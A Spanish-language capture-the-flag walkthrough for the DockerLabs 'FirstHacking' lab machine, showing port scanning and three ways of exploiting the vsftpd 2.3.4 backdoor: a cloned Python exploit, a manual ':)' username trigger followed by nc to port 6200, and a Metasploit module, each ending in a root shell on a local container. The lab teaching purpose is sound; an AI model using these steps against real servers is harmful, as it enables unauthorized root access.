

FirstHacking de Dockerlabs

Lo primero descargamos la maquina vulnerable en nuestro equipo. Se puede descargar en el siguiente enlace: <https://dockerlabs.es/maquinas/22/descargar>

Una vez descargado, la descomprimos en la carpeta que vayamos a usar.

```
(cortex@kali)-[~/Desktop]
$ unzip ../Downloads/firsthacking.zip
Archive:  ../Downloads/firsthacking.zip
  inflating: firsthacking.tar
  inflating: auto_deploy.sh
```

`unzip ../Downloads/firsthacking.zip`

Ahora vamos a desplegar la maquina. Para eso utilizaremos el siguiente comando: `sudo bash auto_deploy.sh firsthacking.tar`

```
(cortex@kali)-[~/Desktop]
$ sudo bash auto_deploy.sh firsthacking.tar

Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es → 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
```

Reconocimiento y escaneo

Para realizar un escaneo eficiente usaremos el siguiente comando:

`sudo nmap -p- --open --min-rate 5000 -sS -sC -vvv -n -Pn 172.17.0.2`

```
PORT      STATE SERVICE REASON
21/tcp    open  ftp     syn-ack ttl 64
MAC Address: 32:88:99:A1:C7:A8 (Unknown)
```

Ejecutamos el comando: `nmap -sV -p21 172.17.0.2`, para ver la version en uso.

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 2.3.4
MAC Address: 32:88:99:A1:C7:A8 (Unknown)
Service Info: OS: Unix
```

Como se puede ver, se esta usando el servicio FTP con la version vsftpd 2.3.4 que es conocida por contener una backdoor.

Explotacion de vulnerabilidad

Descargamos el exploit de Python para la vulnerabilidad encontrada. Los comando utilizados son los siguientes:

`sudo python3 -m pip install pwntools` (en mi caso lo instale con apt)

`git clone https://github.com/Hellsender01/vsftpd\_2.3.4\_Exploit.git`

`cd vsftpd_2.3.4_Exploit/`

`chmod +x exploit.py`

```

(cortex@kali)-[~/Desktop]
$ git clone https://github.com/Hellsender01/vsftpd_2.3.4_Exploit.git
Cloning into 'vsftpd_2.3.4_Exploit' ...
remote: Enumerating objects: 53, done.
remote: Counting objects: 100% (53/53), done.
remote: Compressing objects: 100% (53/53), done.
remote: Total 53 (delta 28), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (53/53), 41.30 KiB | 899.00 KiB/s, done.
Resolving deltas: 100% (28/28), done.

(cortex@kali)-[~/Desktop]
$ cd vsftpd_2.3.4_Exploit/

(cortex@kali)-[~/Desktop/vsftpd_2.3.4_Exploit]
$ chmod +x exploit.py

```

Una vez hecho todo esto ejecutamos el exploit:

```
sudo python3 exploit.py 172.17.0.2
```

```

(cortex@kali)-[~/Desktop/vsftpd_2.3.4_Exploit]
$ sudo python3 exploit.py 172.17.0.2
[+] Got Shell!!!
[+] Opening connection to 172.17.0.2 on port 21: Done
[*] Closed connection to 172.17.0.2 port 21
[+] Opening connection to 172.17.0.2 on port 6200: Done
[*] Switching to interactive mode
$ whoami
root
$

```

Y como vemos no hace falta escalar privilegios porque hemos accedido directamente como root.

Conclusión

El procedimiento fue el siguiente:

Escaneo de puertos --> Enumeración de versiones y servicios --> Detectar la vulnerabilidad -->

Explotación de vulnerabilidad

Lo principal ha sido el escaneo de puertos y la enumeración de versiones y servicios. Para explotar la vulnerabilidad hay varias opciones.

Otra manera de hacerlo :)

Estableceremos conexión ftp. Nos pedirá usuario y contraseña, pondremos el nuestro usuario (o cual desee) y al final una carita feliz :) tiene que ser todo junto. En la contraseña ponemos cualquier valor.

```

(cortex@kali)-[~]
$ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPD 2.3.4)
Name (172.17.0.2:cortex): hola:)
331 Please specify the password.
Password:

```

Ahora estableceremos conexión con la máquina desde el puerto 6200

```
(cortex@kali)-[~]
$ nc 172.17.0.2 6200
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
```

Y como se puede ver, hemos podido acceder como root.

Con Metasploit

Accedemos a Metasploit

Buscamos la versión

#	Full Name	Disclosure Date	Rank	Check	Name
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 and Earlier STAT Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	Yes	VSFTPD 2.3.4 Backdoor Command Execution

Seleccionamos la opción 1

```
msf > use 1
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
```

Ahora podemos hacer un show options para ver los requisitos previos.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

File System

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see
RPORT	21	yes	The target port (TCP)

En remote hosts establecemos la dirección de nuestra máquina víctima.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.17.0.2
RHOST => 172.17.0.2
```

Podemos volver a hacer un show options para comprobar si ha funcionado.

Para el payload no seleccionaremos ninguno (usaremos el payload por defecto), comando para mostrar los payloads disponibles: show payloads ,comando para seleccionar un payload: set payload N --> N es el número identificador del payload

Ejecutamos el comando run y ya conseguiríamos acceso.